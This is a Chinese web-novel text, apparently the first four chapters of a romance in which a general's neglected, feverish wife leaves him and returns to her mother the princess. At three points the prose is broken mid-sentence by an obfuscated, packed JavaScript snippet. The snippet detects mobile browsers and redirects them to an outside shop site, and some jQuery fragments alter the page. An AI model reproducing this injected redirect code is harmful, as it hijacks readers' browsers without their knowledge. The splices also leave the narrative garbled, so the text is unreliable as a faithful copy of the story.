《谢将军今日火葬场了吗》 1. 她要和离 临州城内,霜寒草凄,万里雪飘。 这是今年冬至以来,临州城下的最大的一场寒雪。八街九陌,人烟稀少,家家户户门窗紧闭,驱寒躲冷。 偌大的将军府,此时也是一片死寂。唯有门口的灯笼在肆虐寒风中摇摇欲坠。 主院的碧花轩内,窗柩之上结了一层薄薄的霜。 炭火将要用尽了。 慕溶月失神地躺在冰冷的床榻之上,辗转难眠。 她感觉自己快要死了。 她能清晰地觉察到,体内的温热在一点一点地流逝。寒气无孔不入地侵蚀着她的每一寸肌肤,蚕食掉她仅剩的理智。 好冷。 她会不会真的熬不过这个冬天了? 她的陪嫁丫鬟杏雨见状,也不忍跪地,泣不成声地紧紧攥着慕溶月的手:“小姐,这汤捂子都已经不热了,就请让奴婢代小姐换了罢!” 慕溶月颤抖地伸出手,将怀中那早已冷却的汤捂子推了出去:“也好……” 杏雨噙着泪接过了汤捂子,手心掠过慕溶月的身子,这才察觉她身上有多么冰冷刺骨,好似一件死物。 不知不觉,杏雨已是泪流满面。 “小姐,将军就要回来了,小姐再坚持一下吧!” 几日前,慕溶月受凉染上了风寒,高烧不退,杏雨将家中仅存的几味草药为她服下都不见效。眼看着主子受折磨,在睡梦中也是眉头紧皱,翻覆难安,杏雨的心头也是酸涩起来。 慕溶月是长公主膝下最疼爱的嫡女,慕老将军的掌上明珠,自小金枝玉叶,哪里受过这样的苦?若是换做从前,小姐染上了风寒,必定得从宫中传来太医为小姐诊脉,五六个下人从旁伺候着,生怕有半分的闪失。如此一来,小姐的风寒,总是用不了多久就会慢慢痊愈了。 可自从嫁到了将军府,一切都变了。小姐也从养尊处优的高门贵女,沦落到了这般凄楚的田地。 从前嫌苦、要长公主哄着才能喝下的中药,如今她却是一饮而尽,连眼睛也不眨一下; 从前病得高烧便会梦呓着要找爹爹的那个小女孩,如今,也能独自面对着孤苦的寒夜了。 屋漏偏逢连夜雨,偏偏,她们又遇上了连年罕见的雪灾。 雪灾伊始,人们闭门躲寒。一些贫苦的流民害怕冻死街头,纷纷来将军府哭着乞求慕溶月的施舍。慕溶月犹豫几许,终是动了恻隐之心,便接济了难民们不少米粮炭火。可谁承想,这雪灾比料想的还要久还要可怕,一直到出城的路都封上了,家中的吃穿用度也逐渐地告急了。最后,就连一个汤捂子也都要到用凉了才舍得换掉了。 临州也远不比京城繁华,如今,街坊里的药铺早都关了门,这样黑的夜晚,上哪儿去寻郎中去? 眼看着灾情愈发严重,当真是穷途末路了。 好在这时,谢将军回来了。 西南天灾,叛乱四起。谢羡风当初为了赈灾平乱,一走便是半年。如今,他的车马要途径临州。杏雨早就遣人发去了信函,说明了小姐的情况,只盼望着将军能设法顺道带些药材与物资回来,若条件允许,能捎带位郎中回来为小姐看诊便是最好。将军是秉公出行,拿了圣上亲赐的令牌,城门的关卡不对他设防。为家人弄些药材,对他来说,只不过是小事一桩。 算算日子,这两天也就该到了。 谢羡风与慕溶月虽为夫妻,却向来不睦,这杏雨是知道的。莫不然,他也不会丢下新婚的妻子,一走便是这么多年。 但无论如何,这是性命攸关的大事,谢将军与自家小姐好歹也是夫妻一场,两余载的情分,他总不能真的对小姐不管不问了。 天色渐晚,日暮西沉。终于,前院有了些动静,守门的小厮牵着马匹往碧花轩门前经过。杏雨兴奋极了,连忙跪在慕溶月榻前: “是将军回来了,是将军回来了!定是看见了小姐的家信,来给小姐送药了。小姐,你且在这儿等着,奴婢马上就去。” 慕溶月苍白的脸上终于有了一丝血色,敛眸颔首道:“好。” 窗外大雪皑皑,盖住了连廊门前的地砖,檐下还坠着几缕冰刺,寒风瑟瑟。可杏雨的步伐却是欢快、迫不及待的。她恨不能跑得快些、再快些,这样,她的小姐就有救了! 可是,杏雨才到前厅,就被几个黑衣男子拦了下来。将军的侍从们将门堵得水泄不漏,厉色打断她:“大将军已经歇下了,若有什么事,明日一早再来吧。” 杏雨急得高声喊道:“有什么事,是比您的夫人还要重要的?” 那前廊却空荡荡的,一点回应的声响也没有。 杏雨便直挺挺地跪在了长廊之下,也不管不顾周围人诧异的目光。就这样僵持了好一会儿,直到跪得膝盖都酸软了,门内才终于有了动静。 一抹身影落在了杏雨眼前,她惊觉抬头,察觉谢羡风正站在了她的面前。 谢羡风着一袭黑袍,腰上别着青云剑,眉眼深不见底。身影颀长,犹如林中松柏,淡泊凉薄。 杏雨连忙磕头,恳求他:“将军,奴婢是来为小姐讨药的,小姐已经恭候将军多时了。不知将军是否收到了小姐寄去的信函?” 谢羡风默了许久,只幽幽道。 “我与那药堂并不顺路。” 轻飘飘的一句话,便是彻底断了小姐的生路。 话音落下,一左一右两个侍卫便毫不留情地将杏雨赶了出去。 “都听见了?若你是为这事来的,如今可以回去了!大将军已说得很清楚了!” 杏雨仍不死心,泣不成声地祈求:“可是,小姐真的病得很重,若再不医治,恐怕人命关天啊大人!大人,奴婢求您,去为小姐寻位郎中来吧!” 她害怕谢羡风就这样坐视不理了,急忙出手想去抓住他的衣袖,话音未落,便被侍卫高高架起,拎出了庭院。 杏雨狼狈地跌倒在地,听到谢羡风扔下了最后一句话。 “既还活着,就不必来向我禀明了。” 最后,眼睁睁地看着那扇门在眼前合上了。 杏雨独自坐在寒风中哭得伤心,却依稀听到,隔壁的偏院里传来了阵阵女人的笑声…… *** 不知过了多久,门庭才再度响起了杏雨的脚步声,可却是步履蹒跚,再没了去时的欢快。 慕溶月艰难地从床上支起身子,见杏雨打开暖帐,默不作声地回到了她面前。 “将军呢?” “将军他,他……” 杏雨垂着头,一副有口难言的模样。 “他带了一个女人回来。” 慕溶月神色微变,一双闪烁的眸子也逐渐黯淡了下来。 “是谁?” “我问了侍从,说是沿途救下的灾民,临时带回来接济的。好像是……是个唤作‘萤儿’的民女。”杏雨的声音愈来愈小,“将军已经将她安置在了偏院里,暂且住下了。” “‘萤儿’?” 慕溶月心口隐隐刺痛起来,颓丧地躺回了榻上。 她只觉冷得可怕。 若是赈济灾民,按例自然有许多种救恤的法子,犯不着特地带回家里来。 谢羡风是故意做给她看的。 她知道,谢羡风并不是那朝三暮四的滥情之人。阔别半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不曾想到,他如今厌弃我,已经到了连看一眼也不愿意的地步了。” 在未出阁前,她曾也是陷入爱河的痴情少女,娇生惯养,天真可爱。 她年幼时,曾用装病来博取父母的关注,屡试不爽。于是,她好几次想故技重施,来让谢羡风能来多看看她。 得知她病了,一开始,谢羡风还会上前问候关心。但后来,次数渐渐地多了,他便也不来了。 大抵这一次也是如此。 谢羡风大概仍然以为,她又在像从前那般故意哗众取宠了。 可是,他不知道。 这一回,她是真的快要病死了。 慕溶月浑身僵冷,她艰涩地抬眸,看向了窗外鹅毛纷飞的大雪。 这萧寒的碧花轩中,死气沉沉,清冷凄凄。 仅仅一墙之隔,新搬进人的偏院里却是灯火通明,暖炉里焚着烟香袅袅,屋内还时不时传来女子的娇笑嗔骂。 半年了。她在这个空落落的院子里,每日每日地等着谢羡风回来,等了半年。 到头来,就等到了这么一个结果。 慕溶月忽然感觉很累了。 好累好累,累得再也不想去讨好一块根本捂不化的冰。 在合上眼的下一秒,慕溶月想。 若她还能睁开眼,看见明日的曙光,她便要和离。 她要与谢羡风和离。 2. 回京城 翌日,慕溶月缓缓地睁开双眼。 清晨的一缕阳光照在了她的脸上,将视线也映暖。慕溶月这才恍惚地察觉到,她没有死。 老天给了她重来一次的机会。 “小姐,你醒了。”杏雨的声音萦绕在耳畔,“奴婢为你准备了热汤,小姐快暖暖身子吧。” 慕溶月在她的搀扶下勉强坐立了起来,一碗热汤下肚,胃里暖和了些。身子原本乏力得紧,如今却也渐渐恢复了些许力气。 “昨夜你身子发热得厉害,奴婢吓坏了。”杏雨喜极而泣,紧紧抱住慕溶月的肩头,“好在小姐挺过来了,一切都会慢慢好起来的。” 不知不觉,泪水浸湿了衣衫。慕溶月抬起眼,忽地发现一旁的木桌上多了一封信笺。 “那是什么?” 杏雨顿了顿,才答道:“回小姐,那是……将军临走前给小姐留下的字条。” 原来,他已经走了。 也好。 省得留下来,也是白白惹她伤心。 慕溶月挪开了目光,淡淡抬起手:“去拿来吧。” “是。” 杏雨起身拿起了信,又凝重地递到了慕溶月手里。慕溶月将封口拆开,捻出信纸。 那是谢羡风的字迹,字字潦草不拘,狂放自如,亦如他本人的行事作风。 信的内容极为简单,只有一句话: “吾已去,归期未定。留一平民女子,好生照佛。” 连一句对病妻的关心也没有,仅仅是不容置疑地交代她,要对他从外面领回来的女子好一些。 慕溶月本以为,看到信,她心中会刺痛一番。 却没想到,竟是什么感觉也没有。 她只想,若是在昨天病入膏肓时读见了这封信,她恐怕会急得一口血吐出来。可如今,却只觉得可笑。 原来,想通只是一瞬间的事。 一旁的杏雨仔细观察着慕溶月的神色,生怕她怒火攻心,又伤了神,正想开口宽慰道:“小姐,这许是……” 慕溶月却摇首,遽然打断道:“不必多说。” “……小姐?” 慕溶月指腹轻拢,将信纸扔进了火盆之中炙烤,眼见着它烧成了黑灰。 “既然他这般看重那个无辜受灾的平民之女,”她兀自低低道,“我便替他好生款待了她便是。” 杏雨不禁忧心忡忡起来。她瞧着自家小姐的模样,感觉她好似变了一个人,却又不知到底是哪里变了。只感觉她的一双星眸清明澈净,再没了从前的忧郁寡断。 杏雨原以为,小姐这是吃了醋,才故意唱反调,置气说要好生款待那娘子。却不想,慕溶月是认真的。 天还蒙蒙亮时,慕溶月便叫人去后库备米粮、择金器,将成箱的物件运去了偏院。除此之外,又甄选了一个主厨、两个武侍、四个丫鬟、三两闲役,供那女子使唤。一番调运下来,堪称事无巨细,面面俱到。于一个平民之客而言,甚可谓安排得隆重过头了。 记账时,杏雨数着那些米粮炭火,都忍不住为小姐而心疼。凛冬时节,又遇上天灾,她们的余粮本就堪堪告急,小姐又这般出手大方,当真是没有考虑过自己。 这样大的阵势,不仅让杏雨忐忑不安,更是把叶萤自己也吓着了。 眼看着一箱又一箱的用度往自己院里运,其间有食粮炭火、金银珠器,一应俱全。叶萤瞪大了双眼,犹豫反问道: “这些,都是给我的?” 那小厮讨好地笑道:“都是夫人留给姑娘的,姑娘且在府上好好歇息,不要有什么后顾之忧!” 见那仆从谄媚的笑容,叶萤眼珠一转,逐渐缓过了神来。 今日一早,谢羡风临走前,还特意主动找到了她的偏院,留下了一句叮嘱。 “你就在这留到雪灾结束吧。随性些,好生歇养。有什么需要,直接向内子提便好。” 受宠若惊的叶萤直接羞红了脸,连连行了好几个礼:“多谢将军大人。” 谢羡风走后,她又四处打听,这才惊觉原来回来自从昨日回来,谢羡风都没有去过隔壁的院子瞧一眼那病重的发妻。临走前,倒是不忘来自己的院子里关心一句。 不止是她在猜疑,整个民间都曾疯传过,当朝大将军有个不受宠的妻室。在新婚之夜,他掀开红盖头,便蓦地冷了脸色,自此撂下妻子一人独守空房。婚后两余载,他大多时间在外征战,也曾有过三过家门而不入的事。 由此可见,他对其妻深恶痛绝至此,已经不是一句“夫妻情分淡漠”便可以解释的了。 就连叶萤也在猜测,大抵是大将军与其妻有着什么深仇大怨,便才故意磋磨她的心性,摧残她的意志。 如今,她被谢羡风所救,有幸住进将军府,又亲眼见着将军夫人对她百般殷勤。叶萤心中顿时升起一个大胆的想法。 若是她能有幸嫁进将军府,不说抬为平妻,哪怕是当个受宠的美妾,那日后还愁享受不到荣华富贵? 这么一想,叶萤便大起了胆子,想去探一探这位正妻的底细。 叶萤披着一件金丝线的厚绒斗篷在院中游走,若说昨日她还畏头畏尾,今日便是无所忌惮了。在路过正院时,透过里窗,恰好见到了慕溶月正在对镜梳洗。叶萤思索几许,昂首阔步地走了进去。 “民女见过将军夫人。” 叶萤一面福身请安,一面摆弄着客套之辞, “按理说昨日就该来拜见夫人,是民女失礼了。” 礼毕,叶萤抬起头来,看向了慕溶月。 在冉冉火光的映照之下,慕溶月一袭白衣胜雪,清素淡雅。三千青丝绾起一个云髻,斜插着一支莲花银丝纹步摇。她大病未愈,脸色还染着病气,身子也清瘦。闻声而抬眸敛色,望向了叶萤,含辞未吐,气若幽兰,那双眸却犹似一泓清水,如花树堆雪,沉静、昳丽,叶萤不知不觉便看呆了。 她不禁感叹,慕溶月容貌超尘拔俗,不愧是长公主之嫡女,犹如仙子下凡,美得不可方物。 “无妨。你是谢将军带回来的人,来者是客,不必拘束。” 闻言,叶萤这才定了定心神。暗叹纵使她这般貌美又如何?倘若不得夫君的心,便是活得都还不如那乡野村妇自在呢。 于是,叶萤便大着胆子,在内屋环视了一圈,继而在慕溶月的妆奁之中看见了一枚金簪。 很独特的金簪,雕的是彩凤金珠,缀着流苏的吊坠,犹如凤尾随风而动,飘雅奢丽,尽显华贵之气。 叶萤这等市井小民,哪里见过这样好的宝物。这金簪一看便价值不菲,叶萤顿时生了贪念。正在踯躅时,转念又想到,反正将军也亲自吩咐了叫她随意些,她还有何可惧?便禁不住将手伸了过去。 “民女还是头一回见到这般漂亮的金簪,果真将军府就是气派,有着寻常人家一辈子也见不到的宝物。”她一面暗暗打量着慕溶月 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这可真是新鲜了。自古以来,只听说过妾室被正妻压制,没见过正妻还要反过来讨好小妾的。 也难怪叶萤会生出这样的念头,毕竟,昨夜谢将军好不容易才回一趟家,结果慕夫人住着的碧花轩,他愣是一眼都没去看,反倒是在她这里小憩了片刻,关心了几句她的情况。 想到这里,叶萤嘴上不禁又动了起来。 “昨夜,将军在我屋里待了好些时辰,我听起那些个侍卫寒暄,说是夫人染了风寒。夫人,你的病可好些了?” 说着,她弯下腰,细细地打量起了慕溶月。随后,嗤地一笑。 “呀,这脸色瞧着还是灰白,若不然,那些米面粮油还是留给夫人吧,吃饱些,才好恢复呀。” 语气轻佻,故作关心,实则是炫耀。 慕溶月不再作声了,杏雨则继续为她沐洗篦头,两人好似将叶萤当成了空气一般。 叶萤得不到回应,自觉没趣,便攥着金簪扭身离开了碧花轩。 望着镜中主子黯然的模样,杏雨心疼坏了。 “瞧那不懂礼数的,尾巴简直都要翘到天上去了,好像已经嫁进了将军府一般——纵使她哪日真的嫁进来了,那也不过是妾室,也是要端端正正给小姐敬茶的!怎敢如此放肆。” 其实,不用杏雨宽慰,慕溶月也心知肚明。自从嫁给谢羡风,她便声名狼藉,变得人人都可以来踩上一脚。 最后,她却只是摇首道:“她嫁或不嫁,都与我无关了。” 杏雨以为主子还在生气,又小心翼翼地问,“那簪子,小姐是真不要了吗?” “留不住的,又何苦强留呢?” 慕溶月苦笑了一下。这样简单的道理,她却悟了五年才明白。 “若是些首饰钱财的身外之物,倒也罢了。”杏雨又不甘地问,“可是,小姐,方才往偏院里送的那些吃穿用度,几乎都把咱们的余粮给掏空了,如今雪灾还不知多久才会结束,把这些都给了她,咱们可怎么办呢?” 慕溶月望向了窗外,不知何时又飘起了鹅毛大雪,四处皆是银装素裹。 她深吸一口气,道。 “我们回京城。” 回京城,回她的母家去。 3. 家书(修) “此时回京城吗?”杏雨却踌躇不决地来回踱着步,迟疑道,“小姐,如今大雪正盛,今日虽然出了点残阳,却也是乍暖还寒时候,且不说出城的路都封了,这路途上的干粮、车马……都不足以支撑到咱们回到京城呀!” 慕溶月却神色平静,似是已经拿定了主意,容不得质疑。 “所以,我想先给母亲去一封信。” “母亲的公主府上有一支精壮的车马,能够翻山越岭。若是母亲愿指派车队来接我们,我们便能回家了。” 说完,她又剧烈地咳嗽起来,直到面色通红,气血不顺。 杏雨看了是心疼不已,她知道慕溶月的病不能再拖了。转念一想,走了是难,可如若选了留在这里,横竖也只是换了个地方等死罢了,索性一咬牙:“好,那我去为小姐备笔墨。” 书桌旁,杏雨正在为慕溶月研墨,慕溶月提起笔,却半天无法落下。 她心中也有愧。 三年前,她为了能够嫁于谢羡风,与家里几乎撕破脸皮。 那时,谢羡风还只是一名二等侍卫。他参与调查军械走私一案时,曾以身为桓王挡住了三支毒镖,因护主有功而被赐了婚,是太常少卿某个外室生养的庶女,唤作莫盈儿。 那时,她倾慕谢羡风一事闹得满城人尽皆知。而母亲为了叫她死心,也为她谋了另一桩婚事,彼此门当户对,郎才女貌。二人本应就此分道扬镳,可她却舍不得放下谢羡风,也不甘心沦为笼中的金丝雀任人摆布。 正在她一筹莫展的时候,那唤作莫盈儿的女子却主动找上了她。 她说,那桩赐婚,不过是受制于人。她愿主动让出谢夫人之位,求慕溶月成全。 慕溶月犹豫了许久,终是点了头。 她如愿以偿替嫁给了谢羡风。却殊不知,这只是梦魇的开始。 后来,她无意间得知,原来多年前的那场赐婚,是谢羡风苦苦地跪在世子殿前三天三夜,求来的。 原来,他悄无声息地爱了那莫盈儿十年之久。 那时,她才明白,原来他心里从始至终装的一直都是莫盈儿,那般心无旁骛,眼里容不得一点沙子。 而她,自然被当成了那横刀夺爱的心机之女。她嫁给他三年,他便恨了她三年。 婚后,无论她怎样解释,他都只当她是以强权胁迫了那莫盈儿就范。在长公主最疼爱的嫡女面前,任何人都很难说“不”。 她百口莫辩。 甚至,就连她自己也开始怀疑,当日莫盈儿主动求她替婚,是否真的是出于对她的害怕? 她曾经最引以为傲的身世,如今却成了困住她的枷锁。 她就这样一朝从云端跌入泥潭。 那时的她,少不经事,身为高门贵女,于安顺中成长,习惯了养尊处优的生活,误以为只要有情,便可以克服艰难万险。她渴望自由,不想当那个徒有其表的花瓶,便以为选择了谢羡风,自此便是山长水阔。 可是,她最终也没能变成那自由自在、无拘无束的飞鸢,遨游天地、恣意快活。全然相反,她被弃如敝履,受日日蹉跎,好似一张结了灰的破网,了无生气,日益消颓。 嫁给谢羡风是铤而走险,而她输得一败涂地。到头来,她坏了自己的名声,也使得家族蒙羞。从此,她是众人口中那恬不知耻嫁进将军府的赖皮;是那卑鄙龌龊棒打鸳鸯的毒妇;是那鲜廉寡耻纠缠将军的痴缠怨女。 她成了世人眼中的笑话。 那年,他将娶心上之人,而她也要另嫁他人。 或许,他们原本就该是这样的。 她不惜代价,毅然决然地选择了谢羡风,最后换来的,却只是母亲的失望与家族的割席。 婚后,她鲜少与家中联络,偶尔的家书往来,也总是报喜不报忧。她害怕母亲生气,也害怕母亲会为她担心。她明白,这是她自己选择的路,纵使前方是刀山火海,她也只能自己承担这恶果,怪不得任何人。 如今,她明白自己错了。 唯愿她回头得还不算太晚。 半月后,公主府的回信到了。 只写了一句话:“车马已备好。月儿,回家吧。” 慕溶月紧紧攥着这张单薄的纸页,不知不觉,却是潸然泪下,喃喃自语着:“这是爹爹的字迹,错不了。” “太好了,夫人和老爷来接小姐回家了,太好了!”连同杏雨也是热泪盈眶,拉着慕溶月的手欢欣鼓舞道,“小姐自小便是夫人的掌上明珠,我就知道,夫人不会不管小姐的!夫人定是原谅小姐了!” 慕溶月颤抖着手,嘴角是止不住的笑意:“杏雨,去收拾东西,我们准备启程。” 好在,她还不是无路可退。 此时此刻,她无比庆幸自己那夜挺过来了。凛冬腊月的雪很冷,冷到她几乎忘记了活着是什么滋味儿。可如今上苍却给了她一个重新活过的机会。这一回,她定要好好珍惜曾失去的一切,明白什么是重要的,什么要舍弃掉。 她再也不想做从前那个任性不懂事的孩子,她再也不要伤了家人的心。 又过了几日,从京城指派来的车马到了,马夫是陪伴着慕溶月长大的小厮。几人一见面便亲切得叙起了旧。杏雨高兴极了,她终于又在主子的脸上见到了久违的笑容。 一直到清算行李时,慕溶月才察觉,原来这些年来,她在将军府留下的痕迹是屈指可数,寥寥无几。 慕溶月用指腹轻点着左右两个箱箧,吩咐道:“这些都不必带了。路途遥远,我们当轻装上阵。” “这里头装的是小姐平日里常戴的金银珠宝……这些不带倒也罢了,”杏雨却紧紧抱着一架云筝,不舍道:“可这云筝,是齐国师生前赠予小姐的爱琴,小姐也要一并舍弃了吗?” 自幼,长公主便寻来了宫廷国手齐大师为慕溶月教习琴技。因而,慕溶月的琴声也继承了齐大师的特色,悠扬婉转,令人过目难忘。 只可惜,嫁给谢羡风后,她的这把琴便连同她的心一并被束之高阁,落了锁,积了灰,生了锈。 情从中来,慕溶月不禁伸出了手,抚琴之间,妙音如潺潺溪水流淌,引得旁人沉醉不已。 清风流转,琴音飘扬。在筝乐的衬托下,慕溶月仿若换了一个人,那般地朝气蓬勃,充满了希望,犹如一簇热烈的火红芍药。 杏雨不忍湿了眼眶,此情此景,让她不由自主想起了小姐还未出嫁时的场景,那时的她,也是这般的明媚张扬啊。 琴声戛然而止,却是慕溶月倏地收回了手。 “罢了。如今,唯有活着才是最重要的。” 她的目光黯淡了几许,正欲转身离去,思来想去,又退了回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205740|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她回到了书房,拉开老柜的内屉,从最深处拿出了一枚香囊。 那香囊用金边银线绣着一对鸳鸯的纹样,还缀着一枚成色极好的玉佩。走线并不精妙,里面的香料也早已泛旧了。 但慕溶月却始终好好地收着。 只因那是多年前,她亲手绣给谢羡风的护身符。 那时的她,从没做过女工,却也学着静下心来,一针一线地将真心编织成了一个香囊送到了他的眼前。为此还几番刺破了手指,却也甘之如饴。 他收下了这个香囊。后来,他任务完成,功成身退,扬名立万。她还来不及为他而高兴,却恍惚地发现,原来他早已转手将这香囊丢给了旁人,如同丢掉一块垃圾。 他从没有将她的真心放在眼里。 得知结局后,慕溶月苦涩到说不出话来。她只是默默地拾起了那枚被嫌弃的香囊,独自珍藏好,这一藏便是三年。 如今过去这么久了,这香囊几乎成了慕溶月的一股执念。到了最后,她也忘了自己究竟是不甘心真情错付,还是舍不得又一次伤害当初那个一厢情愿的自己。 只是,慕溶月明白。 如今,该是她撒手的时候了。 慕溶月放下香囊,又从屉中抽出了一封信笺,一并平放在了那桌上。 最后,转过身,头也不回。 “走罢。” *** 一墙之隔的偏院,叶萤坐在摇椅上烤火,忽然听到墙外一阵动静,便机敏地站了起来,吆喝着那粗使婆子去探个究竟。 “隔壁院吵吵嚷嚷的,你快去看看,是怎么个事儿?” 那婆子半晌后才手忙脚乱地跑了回来,“夫人备了车马,好像是要外出呢!” “外出?”叶萤细思不对,“这大雪纷飞的,夫人是要上哪儿去?留我一个人住在这大宅子里,这又是何意啊?” 那婆子想了想,就宽慰道:“姑娘你莫着急,既然夫人临走前给你留下这么多东西,想必这也是将军的意思,希望姑娘好生在宅子里待着,静候着雪灾过去。” 叶萤心想也对,此时天寒地冻,叫她出门她还不情愿呢!那慕夫人当真是个傻的,要是换了她,死皮赖脸地也得在这儿留下。 想到这里,叶萤不禁摸了一把发髻之上插着的那个金簪,金光闪闪的,甚是好看。 “那若是将军赈灾回来,看见只有我一人,那我到时候可怎么解释呀?” 婆子想了半天,最后犹豫地问:“若不然,婆子我去托人给将军捎个信,将此事说上一道?” 话一落下,叶萤也迟疑了。她琢磨着,倘若将军得知了此事,遣人回来察看情况,那她哪儿还能像现在这般自由无拘? 如今将军夫人走了,屋中只留她这一个客人,那岂不是山上无老虎,猴子称大王? 这样的好日子,上哪儿寻去。 于是,叶萤一挥手便道:“罢了罢了。这大雪天的,夫人还执意要出门,定是有自己的打算,我们就别去掺和了。将军大人公务在身,本就忙得日理万机,咱们也别添乱了去。”说完,还一挑小指,趾高气昂地吩咐着,“去,帮我把那个雪梨剥了。” 婆子见她头上戴着夫人的金簪,狐假虎威地招摇,心里不住地咕哝,但面上还是顺从地应了声:“好,就按姑娘说的罢。” 4. 动怒 长公主沈惠心给慕溶月指派的,是全京城最精锐的马匹。快马加鞭,风雨兼程,不出半月,就可以回到京城。 这日,沈惠心一宿没睡,早早地便指派了迎春去府门口候着。那是她贴身的丫鬟,也是从小看着慕溶月长大的,和慕溶月关系最为亲近。 “夫人,就让奴婢为您沐洗更衣吧,二小姐就快要到了。” 迎春正要去扶沈惠心,她却大手一挥,骤然转过了身去。 “我不去。” “如今外面风雪交加,我又何必去给自己找不痛快。” 她说这话时,脸色还阴沉着。她心底始终记挂着一件事,几乎酿成了心结。当初慕溶月一意孤行要下嫁谢家,甚至撂下她亲自安排的亲事,擅作主张离了公主府,不告而别。 如今,这么多年过去了,沈惠心却还是无法释怀。 迎春看出了主子心中所想,便上前一步,俯身在沈惠心耳畔轻声道。 “夫人,二小姐出嫁两余年了,从没有主动来信说想回家拜望长辈,这还是第一回。定是发生什么大事了,二丫头应付不了,才会想着要回家里来,希望夫人能给她撑腰呢!” 沈惠心沉沉地叹了一口气。 “不必你说,我又何尝不知?”她望着寒风中飘荡的烛火,心也不住地动摇起来,“这丫头随我,心气高,哪怕受了再多委屈,也总是往肚里咽,面上是定不能叫人瞧了出来的。” 说完,沈惠心一抬手,“好了,莫要多说了,你且去把她接回来,剩下的事,之后再说。” 迎春福了福身:“是,奴婢明白了。” 就在迎春走到了房门口时,沈惠心忽地又在身后叫住了她。 “迎春,你记得多加上一件斗篷,就拿那件红春绸貂皮的……外面冷,可别着了寒。” 听着她不自然的腔调,迎春看破不说破,只莞尔笑道:“知道了,多谢夫人关心。” 侍从长公主这么多年,她自然了解长公主的弦外之音,知晓她素来都是嘴硬心软的。这貂皮斗篷,分明就是留给她家的二小姐的。 天冷,二小姐可别着了寒才好。 *** 京城的雪比起临州来,更像是薄薄一层细雨。待到申时,雪渐渐停了,街坊长巷里张灯结彩,公主府门前也多了三两小厮在扫雪。 远远地,有一辆马车踏雪而来。迎春定睛一看,热泪几乎溢出眼角。 “二小姐,你可算回来了!” 慕溶月被扶着从马车上踉跄地爬了下来,寒风萧瑟,她的双颊被冻得乌青,长袍之下的手臂干瘦如柴,这一路上怕是受了不少苦头。 迎春心疼得紧,连忙将那貂皮斗篷拿来,盖拢在了慕溶月的肩上,却是惹得她一个瑟缩,消瘦的双肩好似不堪重负一般地摇坠起来。 慕溶月面色煞白,四处打量了一番,最后,才将目光落在了迎春的身上。 “春妈妈,母亲她没有来看我,”她气若游丝,话音里还藏着一分生怯,“她可是还在生我的气?” “怎会呢?”迎春噙着泪,紧紧握住她冰冷的手,“这母女之间,哪来的什么隔夜仇?只要好好把话说开了便好,老夫人她还是很心疼你的!” 慕溶月轻轻笑了一下。 “只要母亲还肯认我这个不孝女,月儿便知足了。” 话音未落,她忽然双腿失力,竟是径直晕倒了过去。 “二小姐,二小姐,你怎么了?!” 迎春吓坏了,连忙抱住慕溶月的身子,“快来人啊!快来人!” 她无意间触到了慕溶月的额头,这才惊觉,她身上发起了烧,简直烫得骇人。 *** “岂有此理,简直是欺人太甚!” 从余香袅袅的暖帐之中传来一声怒喝,丫鬟们连忙跪地。 只见沈惠心勃然大怒,不顾颜面地掀翻了桌面,汤汤水水溅落了一地。 “他谢羡风真是飞上天便忘了本,难道是当我这个常宁长公主死了吗!” 迎春也是瞠目结舌,不可思议一般质问道:“杏雨,你方才所说之事,可都是真的?” “难道,这谢将军真的如此肆无忌惮,二小姐都病成了这般模样,他不但不闻不问,反倒还从外面带回来了一个女人,就这样不清不楚地留在了家里?” 杏雨跪在地上,颤声伸冤:“奴婢不敢说谎……小姐她染上风寒已有近半月了,这些时日以来,小姐的身子越来越虚弱,有时烧了一整宿,便是彻夜难眠。这泼天的雪灾封了路,将军又不愿为小姐请来郎中,小姐是走投无路了,只能来投奔夫人了!” 迎春哀叹连连,不禁扶起了杏雨:“傻姑娘,有这样的事,怎么不早些告诉家里呢?” 另一旁,沈惠心终是不忍听下去了,哀愁、担忧,皆在此刻化作了恼怒。她拍桌而起:“快来人!” 门外守着的小厮连忙复命,沈惠心便吩咐道:“你去把那谢将军给我请过来!” 小厮解释说:“夫人,谢将军奉了圣上的旨意正往北原赈灾,此时恐怕是……” “我不管他在做什么,我限他三日之内抵达京城,否则,休怪本公主不留情面!”沈惠心怒不可遏地摔碎了一个杯盏,“怎么还不去?难道要本公主亲自去向皇帝求旨要人吗?!” 小厮见沈惠心是真的动怒了,忙不迭起身道:“是,奴才这就去!” …… 直到这时,慕昭元才姗姗来迟,见到大发雷霆的沈惠心,忙不迭安抚了起来。 “夫人,这般怒气冲冲的,这是怎么了?” “这便是你的好郎婿,这便是你口中那鲜衣怒马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢羡风是个孤儿,自幼便失去了双亲。后来,他被卖去充军,却也备受排挤,只能苟活在人群的边缘,为了抢夺一口饭吃,与野狗抢夺旁人剩下的残羹冷肴。 能从底层一步步爬上来的,自然都是不容小觑的狠角色。 后来,谢羡风被派去平反西原动乱。正因孑然一身,了无牵挂,他凭着豁出性命的狠厉,面对穷凶极恶的敌匪,甘冒虎口,齿剑如归。一骑一剑,立下大功,自此一战成名,很快便受圣上提携,去了慕昭元的麾下,自此在军营里扎根。不出两年,便立下赫赫战功,从一个朝不保夕的无名小卒,成就了如今这般声名在外的镇国大将军。 “早知如此,当初说什么我也不让月儿嫁去谢家,哪怕月儿不喜欢我为她寻的婚事,那就容她留在闺阁里一辈子……我沈惠心也养得起,总好过如今这般的下场!” 